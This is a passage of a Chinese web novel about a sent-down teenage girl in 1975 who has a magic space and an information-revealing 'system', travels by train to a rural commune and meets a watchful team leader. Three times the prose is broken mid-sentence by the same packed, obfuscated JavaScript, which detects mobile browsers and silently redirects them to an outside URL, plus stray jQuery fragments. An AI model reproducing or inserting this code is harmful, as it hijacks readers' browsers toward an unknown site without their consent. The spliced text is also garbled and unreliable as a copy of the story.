“我还知道,你外婆的十二箱嫁妆里,有六箱是书。”沈红梅继续说,“线装本的《伤寒杂病论》、《本草纲目》,还有一套完整的《四库全书》珍本。1949年,她把那些书都捐给了市图书馆,换了一张‘爱国人士’的奖状。” 这些细节,伪造的可能性太低了。 “好,”林晚照深吸一口气,“我答应你。但前提是,你的要求在我的能力范围内,且不违背我的底线。” “成交。”沈红梅伸出手。 两只手在空中虚握——沈红梅的手是半透明的,没有实体温度。 触碰的瞬间,大量信息涌入林晚照脑海: 灵泉水的正确用法。黑土地的种植技巧。空间与现实的时间流速差(1:3)。储物功能的限制(不能存放活物,不能超过空间体积)。还有最关键的——使用空间会消耗精神力,过度使用会导致昏迷,甚至脑死亡。 “这是我的经验,免费送你的见面礼。”沈红梅收回手,身形开始变淡,“记住,空间是你的依仗,也是你的枷锁。用得好,它能帮你改变命运。用得不好……” 她没说完,但林晚照明白。 “最后给你个忠告。”沈红梅的身影越来越透明,“红星公社第五生产队,有个叫陈铁柱的村霸。原书里,他是你的第一个‘舔狗’,也是后来把你卖给家暴主任的帮凶。但这辈子……他有点不一样。你小心他。” “怎么不一样?” 沈红梅的身影已经淡得几乎看不见,只有声音飘在空中: “我重生后调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854253|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他。他十岁那年摔进山洞,昏迷三天,醒来后性格大变。我怀疑……他可能也不是原装货。” 话音落下,沈红梅彻底消失了。 古井旁空空如也,仿佛刚才的一切都是幻觉。 但林晚照知道不是。她脑海里多出来的那些知识清晰无比,手腕上的双镯温度也恢复了正常。 她走到古井边,井水清澈见底,能照出自己的脸——苍白,瘦削,但眼神坚定。 弯腰掬起一捧水,喝了一口。 清甜的滋味在舌尖炸开,顺着喉咙滑下,一股暖流瞬间扩散到四肢百骸。她明显感觉到,身体里那种长期的虚弱感减轻了一分。 灵泉水是真的。 她又蹲下身,抓起一把黑土。土壤湿润肥沃,在指间搓揉时有油脂般的光泽。这样的土,种什么都能活。 弹幕系统在这个时候突然跳出: 【检测到宿主接触高维能量残余】 【系统升级中……】 【新增功能:可对非生命物体进行“深度解析”(每日限一次)】 【新增功能:可查看自身状态面板】 林晚照心念一动,一个半透明的面板浮现在眼前: 【姓名:林晚照】 【年龄:16岁】 【体质:4/10(长期营养不良+轻微脑震荡后遗症)】 【精神力:7/10(穿越者灵魂加成)】 【技能:无】 【特殊状态:空间绑定(精神力消耗速度+30%)】 【命运偏离度:3%】 命运偏离度?是指她改变原剧情的程度吗? 林晚照关掉面板,环顾这个空间。黑土地大概有一亩左右,古井在正中央,井边有一间简陋的茅草屋——刚才她居然没注意到。 推开门,屋里空空荡荡,只有一张石桌,桌上放着一本泛黄的线装书。 她走过去,翻开书页。是手写的毛笔字,字迹娟秀: “余林璇玑,偶得此镯,知非凡物。然世道艰险,怀璧其罪,故封存之,待有缘人。若有后人得此,切记——福祸相依,慎用之。” 是外婆的字迹。 林晚照抚摸着书页,纸张已经脆了,墨迹却依然清晰。外婆在1937年封存了这个空间,到1975年才被她开启。 这中间三十八年,发生了什么? 她合上书,走出茅屋。空间里的光线恒定,分不清白天黑夜。她尝试着集中精神,想着“离开”。 眼前一花。 再睁眼,已经回到了阁楼的床上。 窗外天还没亮,远处传来鸡鸣声。她看向手腕,双镯安静地戴着,温润如常。 一切好像都没变。 但一切都变了。 她掀开被子下床,走到窗边。筒子楼的灯光星星点点,早起的工人已经推着自行车出门了。 三天后,她就要离开这里,去一个完全陌生的地方。 但这一次,她不再是那个任人摆布的可怜虫。 她有空间,有弹幕系统,有沈红梅用命换来的经验,还有对这个世界的“先知”。 红星公社是吗? 陈铁柱是吗? 原剧情是吗? 她林晚照,偏要在这条既定的命运轨道上,劈出一条自己的路。 窗外,天色渐渐亮起来。 第一缕晨光照进阁楼,落在她手腕的银镯上,龙凤纹路熠熠生辉。 而在她看不见的虚空深处,一行细微的文字一闪而过,快得像是错觉: 【观测对象编号002,已激活核心权限】 【命运扰动实验,第二阶段启动】 【祝你好运,林晚照】 4. 临行前的暗涌 凌晨四点,筒子楼还沉浸在睡梦中。 林晚照坐在阁楼床边,就着窗外透进来的微光,开始整理行李。手腕上的双镯传来温润的触感,灵泉水改善体质的效果已经开始显现——昨天还隐隐作痛的额头现在只剩下轻微的不适,四肢也多了些力气。 她打开墙角那只掉了漆的樟木箱。这是生母留下的旧物,王秀英看不上才留给她。 箱子里东西不多:两件洗得发白的棉布衬衫,一条膝盖处打着补丁的卡其裤,一件半旧的碎花棉袄。最底下压着一个小布包,打开来是几本旧书——《红岩》、《青春之歌》,还有一本边角卷起的《新华字典》。 林晚照拿起字典,翻开扉页。上面用娟秀的钢笔字写着:“赠晚照,愿知识照亮前路。母,1971年冬。” 这是生母去世前一个月送给她的生日礼物。 她的手指在字迹上停顿片刻,然后将字典小心地放进要带的行李里。知识改变命运,在这个年代不是空话。两年后恢复高考,这些基础书籍就是她重返城市的敲门砖。 弹幕系统无声浮现: 【物品:《新华字典》第五修订版】 【状态:完好】 【隐藏信息:书页夹层藏有粮票五斤(全国通用),系生母生前所藏。】 林晚照动作一顿。她轻轻捻开书页,果然在中间部分摸到轻微的凸起。小心撕开粘合处,五张淡黄色的粮票滑了出来。 全国通用粮票,在1975年比钱还金贵。尤其是在农村,有了这个就能在粮站换细粮。 她将粮票重新藏好,心跳加快了几分。这是生母留给她的最后保障。 整理完衣物,她开始清点自己的“财产”:从继母那里“拿回”的银镯已经戴在手上;生母留下的粮票;父亲昨天偷偷塞给她的十元钱和二十斤地方粮票——用旧报纸包着,塞在她枕头底下,她今早才发现。 还有一样东西。 林晚照从床板缝里摸出一个小铁盒。这是原主藏私房钱的地方,打开来,里面有三元七角二分钱,几张皱巴巴的糖票、肥皂票,还有一张黑白照片。 照片上是年轻的林建国和生母陈婉清。两人并肩站着,背后是外滩的栏杆。陈婉清穿着格子旗袍,笑容温婉;林建国一身中山装,意气风发。 那是1957年的春天,他们结婚那年拍的。 林晚照看着照片,心里涌起复杂的情绪。这情绪既来自原主残存的记忆,也来自她作为穿越者的共情。那个温婉的女人死得太早,留下的女儿在这个家里活得战战兢兢。 “我会好好活下去。”她对着照片轻声说,“比你希望的还要好。” 将铁盒里的钱票整理好,加上父亲给的,她现在一共有十三元七角二分现金,二十五斤地方粮票,五斤全国粮票,还有一些零散的票证。 在1975年,这是一笔不小的“启动资金”。一个普通工人月工资才三四十元,十三块钱够在农村过两三个月了。 但她知道,这还远远不够。 下乡第一年是最难的:要置办生活用品,要应付可能出现的病痛,要打点关系让自己日子好过些。更重要的是,她需要为两年后的高考做准备——买复习资料,买纸笔,这些都是钱。 窗外天色渐亮。 林晚照将整理好的行李打包:衣服用旧床单裹成包袱,书籍和生活用品装进一个帆布提包。她留了个心眼,把最值钱的粮票和现金分开藏——一部分缝在棉袄内衬里,一部分塞在牙膏管里,还有几张藏在字典封皮的夹层中。 鸡蛋不能放在一个篮子里,这是生存的基本法则。 --- 早上六点,王秀英破天荒做了顿像样的早饭:稀饭,咸菜,还有一人一个水煮蛋。 林宝根盯着林晚照面前那个鸡蛋,眼睛都快瞪出来了:“妈,我也要两个!” “吃你的!”王秀英拍了下他的头,转头对林晚照挤出笑容,“晚照啊,多吃点,路上要坐两天火车呢。” 林晚照低头喝粥,嗯了一声。 饭桌上气氛诡异。林建国一直没说话,只是不停地抽烟。王秀英则一反常态地殷勤,一会儿问“被子带够了没”,一会儿说“到了记得写信”。 直到林晚照吃完准备起身,王秀英才搓着手,状似无意地说:“晚照,你那对银镯子……路上不安全,要不妈先帮你收着?等你安定下来再给你寄过去。” 果然还是惦记着。 林晚照抬起手腕,银镯在晨光下泛着柔和的光:“不用了妈,我戴着挺好。这是我妈的遗物,我想戴着,就像她陪着我一样。” 话说到这个份上,王秀英也不好再强求,只是脸色明显难看了几分。 林建国终于开口:“晚照,爸送你去火车站。” “不用了爸,您还要上班。”林晚照摇摇头,“我自己去就行,有知青办的人带队。” “我请假。”林建国掐灭烟头,语气不容置疑。 王秀英张了张嘴,到底没说什么。 --- 早晨七点的上海火车站,人声鼎沸。 广场上挤满了人——背着行李的知青,送行的家人,维持秩序的街道办干部。高音喇叭里循环播放着《大海航行靠舵手》,混着哭声、喊声、叮嘱声,汇成一股嘈杂的洪流。 林晚照背着包袱,提着帆布包,跟在街道办李主任身后。同行的还有十几个知青,有男有女,年纪都在十六七岁到二十出头之间。 她快速扫了一眼。弹幕系统适时给出信息: 【张建军,男,19岁,父亲是厂里小领导,本可留城,自愿下乡(实际为逃避包办婚姻)】 【王晓芬,女,17岁,家中排行老三,下面还有两个弟弟,被迫下乡腾位置】 【刘爱国,男,20岁,热血青年,真心相信“广阔天地大有作为”】 …… 每个人的头顶都飘着简单的状态条和关键信息。林晚照默默记下这些,这些都是她未来可能要打交道的人。 “都到齐了?”李主任拿着名单清点人数,“排队排队,准备进站!记住你们的车厢号,别上错了车!” 人群开始挪动。林建国帮林晚照提着行李,嘴唇动了动,似乎想说什么,却终究没说出来。 临进站前,他猛地塞给她一个布包:“拿着,路上吃。” 布包沉甸甸的,林晚照打开一看,是六个煮鸡蛋和两个白面馒头。这在1975年已经是难得的“硬货”了。 “爸……” “到了那边,照顾好自己。”林建国别过脸去,声音有些哑,“缺什么就写信,爸……爸想办法。” 林晚照看着他斑白的鬓角,心里涌起一丝复杂的情感。这个父亲懦弱、偏心,但至少在这一刻,他的愧疚是真的。 “您也保重。”她轻声说。 转身走进检票口时,她听见王秀英在身后喊:“晚照,到了记得写信啊!” 她没有回头。 --- 绿皮火车像一条疲惫的长龙,卧在轨道上。 车厢里挤满了人,行李架上、座位底下都塞满了包袱。空气混浊,弥漫着汗味、烟草味和食物混杂的气息。 林晚照的座位靠窗。她放好行李坐下,同座的是个扎着麻花辫的圆脸姑娘,看着比她大一两岁。 “你好,我叫王晓芬。”姑娘主动搭话,眼睛红红的,显然刚哭过,“你去哪儿?” “红星公社。”林晚照说。 “哎呀,我也是!”王晓芬眼睛一亮,“听说那边特别苦,一天只吃两顿,都是红薯……我心里可害怕了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854254|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 弹幕飘过: 【王晓芬,性格怯懦但心地善良,上辈子在红星公社被当地二流子纠缠,怀孕后投河自尽。】 林晚照心里一沉。她看着眼前这个还带着稚气的姑娘,很难想象她会有那样悲惨的结局。 “别怕,”林晚照轻声说,“咱们互相照应。” 火车缓缓启动。站台上送行的人群跟着火车跑,哭声、喊声连成一片。林晚照看着窗外飞速倒退的城市景象,心里涌起一种不真实感。 她真的要离开上海了。 离开这个她只待了三天,却承载了原主十六年人生的城市。 火车驶出市区,窗外逐渐变成田野和村庄。深秋的江南,稻田已经收割完毕,留下整齐的稻茬。偶尔能看到农民在田间劳作,弯腰的身影在广阔的天地间显得格外渺小。 这就是1975年的中国农村。她未来几年要生活的地方。 “晚照,你饿不饿?”王晓芬从包里掏出半个窝窝头,“我妈给我带的,分你一半。” “不用,我有。”林晚照拿出父亲给的馒头,掰了一半递过去,“咱们换着吃。” 两人就着开水啃干粮。对面的张建军看了她们一眼,也从包里掏出几块饼干分过来:“都是天涯沦落人,互相帮衬着点。” 简单的食物交换,却迅速拉近了几个年轻人的距离。大家开始互相介绍,聊家庭,聊对未来的迷茫和期待。 林晚照话不多,大多时候安静听着,同时观察着车厢里的人。 弹幕系统持续工作,给她提供着信息: 【斜对角穿军绿色上衣的男青年,兜里藏着一本《高考数学题解》,1972年黑市印刷版】 【后排的中年妇女是某公社干部家属,此行去探亲,行李中有五斤腊肉(可尝试交易)】 【前排两个男青年在低声讨论“广东那边能弄到电子表”……】 信息流不断涌入,林晚照默默记下。这些碎片化的情报现在可能没用,但将来或许就是机会。 火车轰隆前行,天色渐渐暗下来。 晚饭时间,车厢里弥漫开各种食物的味道:冷馒头、咸菜、煮鸡蛋。林晚照就着开水吃完半个馒头,将剩下的仔细包好。 她需要精打细算。到江西要两天一夜,这些食物得撑到目的地。 夜幕降临,车厢里的灯光昏暗。大多数人开始打盹,鼾声此起彼伏。 林晚照靠着车窗,闭上眼睛,意识沉入空间。 黑土地在夜色(空间内也有昼夜交替)中泛着深沉的色泽,古井的水面倒映着不知从何而来的微光。她在茅屋里清点自己现有的物资,计划着接下来的安排。 精神力消耗比想象中快。只在空间里待了不到半小时,她就感到一阵疲惫——沈红梅警告过,空间使用会加速精神消耗。 她退出空间,回到现实。火车在夜色中穿行,窗外偶尔闪过零星的灯火。 王晓芬靠在她肩膀上睡着了,眼角还带着泪痕。对面的张建军也闭着眼,眉头紧锁,似乎在做噩梦。 林晚照看着这些即将和自己一同奔赴未知命运的同伴,心里涌起一种奇异的感觉。 他们都是这个时代的缩影:被命运推着走,被动接受安排。但她不一样——她知道未来,她有改变的机会。 虽然沈红梅的警告还在耳边,虽然空间的存在透着诡异,虽然那个“观测者”的谜团还未解开…… 但她已经踏出了第一步。 火车继续前行,穿过黑夜,驶向黎明。 而在林晚照看不见的意识深处,弹幕系统悄然更新了一行状态: 【命运偏离度:5%】 【检测到关键人物接触:王晓芬(原剧情死亡节点可改变)】 【世界线扰动效应开始扩散……】 5. 红星初现 火车在第三天清晨抵达永丰县站。 林晚照是在一片嘈杂声中醒来的。车厢里的人们像突然被注入生命般动了起来——收拾行李的窸窣声,唤醒同伴的呼喊声,还有婴儿被惊扰的啼哭声。 她揉了揉发僵的脖颈,看向窗外。 站台比她想象中还要简陋:低矮的砖房,斑驳的水泥地面,几个穿着深蓝色制服的工作人员正在维持秩序。远处是连绵的山峦,在晨雾中若隐若现,山体呈现出南方特有的深青色。 “到了到了!”王晓芬紧张地抓住林晚照的袖子,“晚照,我们真到了……” 林晚照拍拍她的手,开始整理行李。两天一夜的车程让她浑身酸痛,但灵泉水的效果仍在持续——至少她没有像周围一些人那样脸色苍白、脚步虚浮。 弹幕系统悄然更新: 【地点:江西省永丰县火车站】 【时间:1975年11月3日,上午7:15】 【气温:8℃(山区比预报低3-5度)】 【建议:穿戴好御寒衣物,本地早晚温差大】 林晚照从包袱里取出那件半旧的碎花棉袄穿上。同车厢的几个女知青见状,也纷纷翻出厚衣服。 车门打开,冷空气灌进来,带着山区特有的湿润和草木气息。 “红星公社的知青!红星公社的到这里集合!” 站台上,一个穿着褪色军装、约莫四十岁的男人举着木牌高喊。他皮肤黝黑,脸上刻着常年劳作的皱纹,声音洪亮得像打锣。 林晚照跟着人群下车。双脚踩在坚实地面上的瞬间,她有一丝恍惚——这就是她要待上至少两年的地方。 “我叫赵大山,红星公社的副主任。”举牌的男人点着人数,“你们这批一共十二个人,八个去五队,四个去三队。现在点名——” 点到林晚照名字时,赵大山多看了她一眼:“你就是上海来的林晚照?” “是。” “行,去五队。”赵大山在名单上打了个勾,语气平淡,“五队的队长待会儿来接人。” 等待的间隙,林晚照观察着这个小小的县城车站。比起上海站的拥挤喧嚣,这里显得空旷而冷清。几辆牛车停在不远处,车把式蹲在车辕上抽旱烟,目光好奇地打量着这群城里来的年轻人。 “看什么呢?”张建军凑过来,压低声音,“我听说红星公社特别穷,去年还饿死过人。” “别瞎说。”林晚照轻声制止,余光瞥见赵大山的眉头皱了皱。 张建军讪讪闭嘴。 大约半小时后,远处传来叮当的铃铛声。一辆拖拉机“突突突”地开过来,车斗里已经坐了五六个人,都是农民打扮。 开拖拉机的是个年轻男人,二十出头的样子,穿着打了补丁的棉袄,头发剃得很短,露出一张棱角分明的脸。他跳下车,动作利落得像山里的豹子。 弹幕系统在这一刻突然剧烈波动: 【目标:陈铁柱】 【年龄:22岁】 【身份:红星公社第五生产队队长,兼任民兵排长】 【状态:高度警戒(对陌生环境/人物本能警惕)】 【异常检测:灵魂波动与身体契合度92.7%(正常值99%以上)】 【警告:目标身上检测到轻微时空紊乱痕迹】 林晚照的心脏猛地一跳。 时空紊乱痕迹——这就是沈红梅说的“不是原装货”的证据? 陈铁柱的目光扫过这群知青,在每个人脸上停留不到一秒。但当他的视线落到林晚照身上时,停顿了。 那一瞬间很短,短到周围没有人察觉。但林晚照捕捉到了——他的瞳孔微微收缩,下颌线条绷紧了一瞬,那是惊讶和警惕混合的表情。 他认识她? 不,不可能。这是他们第一次见面。 除非…… “我是陈铁柱,五队的队长。”陈铁柱开口,声音低沉,带着本地口音,“都上车吧,路不好走,得赶在午饭前到。” 知青们开始笨手笨脚地爬拖拉机。王晓芬个子矮,试了几次都上不去,急得快哭了。 林晚照正要帮她,陈铁柱已经走过来。他没说话,只是伸出手臂让王晓芬扶着,另一只手在她后背轻轻一托,就把人送上了车斗。 动作干净利落,没有任何多余接触。 轮到林晚照时,她下意识地想自己爬。但陈铁柱依然伸出了手臂:“扶稳。” 他的手掌宽大,指节粗壮,手背上有一道新鲜的划痕。林晚照的手搭在他小臂上,能感觉到布料下结实的肌肉,以及某种紧绷的张力。 两人目光短暂相接。 陈铁柱的眼睛是深褐色的,像山里的潭水,表面平静,底下却藏着看不透的东西。林晚照想起沈红梅的警告——“小心他”。 “谢谢。”她低声说,迅速爬上拖拉机。 陈铁柱没回应,转身去帮其他人。 全部上车后,拖拉机重新启动,“突突”声在山间回荡。车斗里挤了十几个人,知青们缩在一起,农民们则很自然地分散坐着,彼此用方言交谈。 林晚照靠在车斗边缘,看着道路两旁的景色。从县城到公社的土路坑洼不平,拖拉机颠簸得像在浪尖上行驶。路边的田野里,晚稻已经收割完毕,只剩下光秃秃的田埂。偶尔能看到农民在田里翻地,准备种冬小麦。 “咱们队还有多远啊?”一个男知青忍不住问。 赶车的老把式回头,露出缺了颗门牙的笑容:“还早哩,二十里山路!” “二十里?!”王晓芬惊呼。 “这算近的啦。”老把式说,“六队更远,得翻两座山。” 知青们沉默了。二十里山路,在这个没有公交的年代,意味着出一次门就是大半天。 林晚照默默计算着距离。从上海到江西,从县城到公社,她离熟悉的那个世界越来越远了。 但她没时间伤感。 她需要尽快适应这里,了解这里的规则,找到生存的空间。更重要的是,她要完成和沈红梅的交易——找到那棵老槐树,拿到铁盒。 还要小心陈铁柱。 拖拉机转过一个山坳,眼前的景象豁然开朗。 山脚下散落着几十户人家,土墙黑瓦,炊烟袅袅。村口有一棵巨大的樟树,树干要三四个人才能合抱。树下立着块石碑,上面刻着“红星公社第五生产队”几个红字。 到了。 拖拉机在打谷场停下。听到动静的村民陆续围过来,男女老少都有,穿着打补丁的衣服,脸上是好奇而审慎的表情。 “城里来的娃娃们?” “哟,细皮嫩肉的,能干活吗?” “那个女娃子真白……” 议论声嗡嗡作响。林晚照能感觉到那些目光在自己身上打转,有好奇,有羡慕,也有不易察觉的敌意。 陈铁柱跳下车,拍了拍手上的灰:“都下来吧。赵会计,安排一下住处。” 一个戴眼镜的中年男人拿着本子走过来:“女同志住知青点东屋,男同志住西屋。被褥队里提供,但得自己浆洗。吃饭先去食堂,粮票交给李婶登记……” 琐碎的安排一条条宣布。知青们像待宰的羔羊,被分门别类。 林晚照的注意力却在别处——她在找那棵老槐树。 按照沈红梅的说法,铁盒埋在“知青点老槐树下”。但眼前这个打谷场周围,只有那棵大樟树,并没有槐树。 “看什么呢?”陈铁柱的声音突然在身后响起。 林晚照吓了一跳,转过身时已经调整好表情:“没什么,就是觉得这棵樟树真大。” 陈铁柱顺着她的目光看去:“嗯,有上百年了。老一辈人说,这树有灵性。” 他的语气很平淡,但林晚照注意到,他说这话时,手指无意识地摩挲着腰间挂着的柴刀刀柄——一个细微的紧张动作。 “队长,咱们知青点……有槐树吗?”她试探着问。 陈铁柱的目光倏地锐利起来:“你问这个干什么?” “我外婆喜欢槐花,说槐花蒸饭特别香。”林晚照垂下眼,做出怀念的模样,“我就想,要是有槐树,明年春天也许能摘点……” 这个理由很自然。陈铁柱审视了她几秒,才说:“后山有片野槐林。不过离得远,女同志最好别单独去。” “谢谢队长提醒。” 对话到此为止。陈铁柱转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854255|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身去安排其他事,林晚照松了口气,手心已经沁出薄汗。 这个陈铁柱太敏锐了。 而且,他说的是“野槐林”,不是“老槐树”。这意味着沈红梅说的那棵树,可能不在知青点附近,或者……已经不在了。 需要从长计议。 “晚照,快来!”王晓芬在不远处招手,“咱们住这屋!” 所谓的知青点,其实是队里废弃的仓库改建的。土坯墙,瓦顶,地面是夯实的泥地。东屋摆着四张木板床,床上铺着稻草垫子,被褥是粗布做的,摸上去又硬又潮。 同屋的除了王晓芬,还有两个女知青:一个叫李秀英,江西本地人,说话带着浓重口音;另一个叫刘翠翠,来自湖南,看着挺文静。 四个人互相介绍后,开始收拾床铺。林晚照选了靠窗的位置,这样光线好,也相对干燥些。 她从包袱里取出床单——这是从家里带的唯一一条好床单,棉布的,洗得发白但干净。铺在稻草垫子上,至少能隔开潮湿。 “你床单真好看。”王晓芬羡慕地说,“我妈就给我带了条破毯子。” “咱俩可以换着铺。”林晚照说。 “真的?”王晓芬眼睛一亮,“晚照你真好!” 简单的善意换来真诚的感激。林晚照知道,在这个陌生的环境里,盟友很重要。王晓芬性格软弱,但心地纯善,是值得拉拢的对象。 收拾完住处,已经快到中午。 食堂的钟声响起——其实是挂在树上的半截铁轨,被敲得“当当”响。 知青们拿着饭盒排队打饭。午饭是红薯饭和清炒白菜,几乎看不到油星。但奔波了一上午的年轻人们顾不得挑剔,狼吞虎咽地吃起来。 林晚照吃得很慢。她在观察食堂里的人:负责打饭的李婶,四十多岁,手腕上戴着一只银镯子;记账的赵会计,戴眼镜,手指上有墨水渍;还有几个队干部坐在角落里吃饭,低声讨论着什么。 陈铁柱不在。 她正想着,食堂门口光线一暗。陈铁柱端着饭盒走进来,身后跟着两个年轻汉子,都是二十来岁,一脸痞气。 弹幕系统立刻标记: 【陈铁柱的跟班:陈二狗(左)、陈三牛(右)】 【两人均为村中二流子,原剧情中多次骚扰女知青】 【当前状态:正在物色新来的‘目标’】 林晚照低下头,避开那两人的视线。她能感觉到,有几道不怀好意的目光在自己和王晓芬身上扫过。 “铁柱哥,这批新来的女娃子不错啊。”陈二狗的声音不大,但刚好能让附近的人听见。 陈铁柱头也没抬:“吃饭。” “我就看看嘛……” “我说,吃饭。”陈铁柱的语气冷了一度。 陈二狗讪讪闭嘴。 林晚照心里稍定。至少陈铁柱目前看起来,不像他手下那么没分寸。 但这不代表安全。 吃完饭回知青点的路上,王晓芬小声说:“晚照,刚才那两个人……看咱们的眼神好吓人。” “没事,”林晚照拍拍她的手,“以后别单独行动,尤其是晚上。” “嗯。”王晓芬用力点头。 午后的阳光透过云层,在山间投下斑驳的光影。林晚照站在知青点门口,望向远处的山峦。 后山的野槐林。沈红梅的铁盒。神秘的陈铁柱。还有那两个二流子。 这个看似平静的山村,底下暗涌流动。 而她,必须在这片陌生的土地上,找到自己的位置。 手腕上的银镯在衣袖下微微发烫,仿佛在提醒她——这一切,才刚刚开始。 远处的山道上,陈铁柱正扛着锄头往田里走。走到半路,他突然停下脚步,回头望向知青点的方向。 他的眉头紧锁,眼神深处有某种困惑和警惕。 刚才那个叫林晚照的女知青……为什么总觉得在哪里见过? 不是脸熟。 而是一种更奇怪的感觉——仿佛她的存在本身,就是这个平静世界里一道不和谐的裂痕。 他摇摇头,甩掉这个荒谬的念头。 但心底那丝不安,却像藤蔓一样悄悄蔓延。 6. 第一顿饱饭 傍晚时分,生产队的钟声又响了。 这回是下工的信号。林晚照跟着其他知青一起,拖着疲惫的身体从村东头的晒谷场往回走。下午的劳动是“熟悉环境”——其实就是跟着村里的妇女们翻晒晚稻的谷子。 活不算重,但对她这具营养不良的身体来说,已经是极限。半天下来,腰酸背痛,手掌磨出了两个水泡。 “累死了……”王晓芬几乎要哭出来,“我的腰快断了。” “这才第一天。”张建军苦笑着摇头,“我听老知青说,过两天就要下地干活了,那才叫真累。” 一行人蔫头耷脑地回到知青点。还没进门,就闻到一股饭菜香——比中午食堂的寡淡味道要诱人得多。 李秀英鼻子最灵:“是炖菜!有肉味!” “真的假的?”刘翠翠不信,“中午还清汤寡水的……” 走进院子,果然看见厨房方向冒着热气。负责知青点伙食的李婶正在灶台前忙碌,锅里“咕嘟咕嘟”地炖着什么。 陈铁柱站在厨房门口,正在和李婶说话。见知青们回来,他转过头:“今晚加餐,欢迎新同志。” “加餐?”几个男知青眼睛都亮了。 “嗯,队里杀了头病猪。”陈铁柱语气平淡,“每家分一点,知青点也分了二斤肉。” 二斤肉,十二个人分,其实没多少。但在1975年的农村,这已经是难得的盛宴了。 林晚照注意到,陈铁柱说这话时,目光在她脸上停留了一瞬。那眼神很复杂,像是在观察她的反应。 她垂下眼,做出和其他人一样的期待表情。 晚饭果然丰盛许多:红薯饭管饱,一大盆白菜炖粉条,里面确实能看到几片肥瘦相间的猪肉。还有一小碟咸菜,淋了香油。 知青们围着长条桌坐下,眼睛都盯着那盆炖菜。李婶给大家分饭,轮到林晚照时,特意多捞了两块肉到她碗里。 “女娃娃太瘦了,多吃点。”李婶低声说。 “谢谢婶子。”林晚照真心道谢。 她抬头时,看见陈铁柱坐在桌子另一端,正静静看着她。两人的目光在空中碰了一下,陈铁柱先移开了视线。 他吃得很快,但动作并不粗鲁。一碗饭,半碗菜,五分钟就解决了。然后放下筷子,对众人说:“吃完饭开个会,说一下明天的安排。” 说完就起身出去了。 “队长吃得好少。”王晓芬小声说。 李秀英撇撇嘴:“他是干部,得注意影响,不能跟咱们抢肉吃。” 这话说得有点刻薄,但林晚照听出了另一层意思——陈铁柱在这个队里,似乎并不完全受爱戴。 她低头吃饭。白菜炖得很烂,粉条吸饱了汤汁,那两片肉肥的部分已经化在菜里,给整道菜增添了难得的油水。 这是她来到这个世界后,吃的第一顿像样的饱饭。 胃里暖洋洋的,连带着疲惫的身体也恢复了些力气。灵泉水的效果在持续,她能感觉到,手掌上磨出的水泡已经在慢慢消退。 吃完晚饭,知青们把碗筷收拾到厨房。李婶不让她们洗碗:“头一天,歇着吧。以后轮值,每人一天。” 这算是个小小的优待。 天还没完全黑,陈铁柱又回来了,手里拿着个小本子。知青们在院子里搬来长凳坐下,等着开会。 “先说劳动安排。”陈铁柱翻开本子,声音在傍晚的空气中显得很清晰,“明天开始正式上工。男同志去修水渠,女同志去菜地除草。” 他顿了顿,看向几个女知青:“菜地活不重,但得蹲一天。受不了的现在说,可以调去养猪场。” 养猪场更累,而且脏。没人吭声。 “工分标准。”陈铁柱继续说,“全劳力一天十个工分,你们新来的,头三个月按七分算。干得好,秋收后可以调整。” “队长,一个工分值多少钱?”张建军问出了所有人都关心的问题。 陈铁柱看了他一眼:“去年决算,一个工分八分钱。” 底下一片吸气声。 八分钱。一天七分,就是五毛六。一个月干满三十天,不到十七块钱。这还得扣掉口粮钱、菜金,真正能到手的不超过十块。 而且农村不是天天有活干,下雨天、农闲时都没工分。 “觉得少?”陈铁柱合上本子,“城里工资是高,但你们要粮票要布票。在这里,干活就有饭吃,饿不死。” 这话很实在,也冷酷。 知青们沉默了。来之前或多或少都有幻想,现在被现实狠狠拍在脸上。 “还有问题吗?”陈铁柱问。 林晚照举起手:“队长,我们想学习毛主席著作,可以借阅吗?” 这个问题很巧妙。既符合政治正确,又能试探队里对文化的态度。 陈铁柱看了她两秒:“队部有《毛主席选集》,可以借。但只能在队部看,不能带走。” “谢谢队长。” “还有,”林晚照继续说,“我们想给家里写信,邮电所在哪儿?” “公社有邮电所,半个月送一次信。要寄信的话,交给赵会计,他赶集时带过去。” 问清楚了这些基本问题,会议就散了。陈铁柱离开前,又看了林晚照一眼,眼神里多了点东西——是审视,也有一丝赞赏。 这个女知青,比其他人冷静,也比其他人聪明。 回到屋里,王晓芬瘫在床上:“一天五毛六……我在家时,我妈一个月给我三块钱零花呢。” “知足吧。”李秀英一边铺床一边说,“我表姐在北大荒,一个工分才五分钱。” 林晚照没参与讨论。她坐在床边,借着油灯的光,检查手掌上的水泡。已经消下去不少,但皮肤还是红的。 她从包袱里翻出一个小铁盒——这是从家里带的万金油,治小伤小痛很管用。涂抹在手掌上,清凉的感觉缓解了疼痛。 